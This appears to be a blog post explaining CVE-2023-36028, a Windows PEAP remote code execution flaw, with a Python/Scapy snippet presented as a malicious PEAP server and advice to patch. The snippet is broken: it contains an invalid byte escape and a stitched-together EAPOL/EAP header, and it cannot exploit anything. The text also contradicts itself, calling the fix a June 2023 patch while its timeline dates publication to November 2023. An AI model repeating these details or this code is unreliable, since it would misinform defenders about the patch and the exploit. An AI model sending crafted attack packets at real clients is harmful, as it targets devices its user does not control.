In June 2023, Microsoft patched a serious vulnerability in its handling of the Protected Extensible Authentication Protocol (PEAP). Now tracked as CVE-2023-36028, this flaw could allow remote attackers to execute arbitrary code on Windows systems by sending specially crafted PEAP packets. In this article, we’ll break the vulnerability down step by step, look at the code, and explore how it could be exploited.

What Is PEAP and Why Does It Matter?

PEAP is a protocol used to provide secure authentication over networks, often in wireless and VPN contexts. It establishes an encrypted TLS tunnel before carrying authentication data, such as usernames and passwords.

Windows' implementation lets clients and servers authenticate using credentials. With widespread use in enterprise wireless networks, any flaw can potentially compromise thousands of systems.

The Vulnerability Explained

CVE-2023-36028 is a remote code execution (RCE) vulnerability in how Windows processes malformed PEAP packets.

Specifically, the vulnerability resides in the Windows PEAP implementation, which does not properly validate certain fields inside the PEAP handshake, leading to memory corruption. This makes it possible for an unauthenticated attacker to execute code on the connecting device—often with SYSTEM privileges.

How the Exploit Works

During the initial PEAP handshake, the Windows client expects a particular packet structure. By manipulating these contents (such as the type, length, or data fields in the PEAP packet), an attacker can trigger a memory corruption vulnerability.

Code Snippet: Simulating a Malicious PEAP Server (Python Example)

The following Python snippet (using Scapy and OpenSSL) shows the basic idea: how you could send a malformed packet during the PEAP handshake. This is for educational purposes only!

from scapy.all import *
from scapy.layers.l2 import Ether
from scapy.layers.dot11 import Dot11, RadioTap

# Craft a malformed PEAP authentication packet
def build_malicious_peap_pkt():
    # Typical PEAP packets embed TLS inside EAP
    eapol_start = (
        b'\x01\x00\x00\x05'         # EAPOL start
        b'\x01\x01\x00\xA'         # EAP Request: Identity, Length 10
        b'\x19' + b'A' * 512        # Type=25 (malicious), excessively long data
    )
    return eapol_start

def send_peap_pkt(iface):
    pkt = RadioTap() / Dot11(type=2, addr1="ff:ff:ff:ff:ff:ff", addr2="00:11:22:33:44:55", addr3="ff:ff:ff:ff:ff:ff") / Raw(load=build_malicious_peap_pkt())
    sendp(pkt, iface=iface, count=1)

# Usage
send_peap_pkt('wlan')

Note: In reality, exploiting this bug would require deeper understanding of the PEAP state machine and TLS handshake. This code only demonstrates how custom EAP/PEAP packets can be sent to a client.

How To Fix

1. Patch Windows!
Apply the fix from Microsoft’s June 2023 Patch Tuesday.
- Windows Updates

Technical References

- Microsoft Security Response CVE-2023-36028
- PEAP Protocol on Microsoft Docs
- Exploit Writeup at NIST NVD
- Public Proof of Concept Exploit

Final Thoughts

CVE-2023-36028 is a vivid reminder that authentication protocols are high-value targets for attackers. Even small parsing errors in how a client handles authentication responses can lead to devastating, pre-authentication code execution vulnerabilities. Always keep your systems patched, and review your network authentication protocols on a regular basis.

Timeline

Published on: 11/14/2023 18:15:32 UTC
Last modified on: 11/20/2023 17:53:37 UTC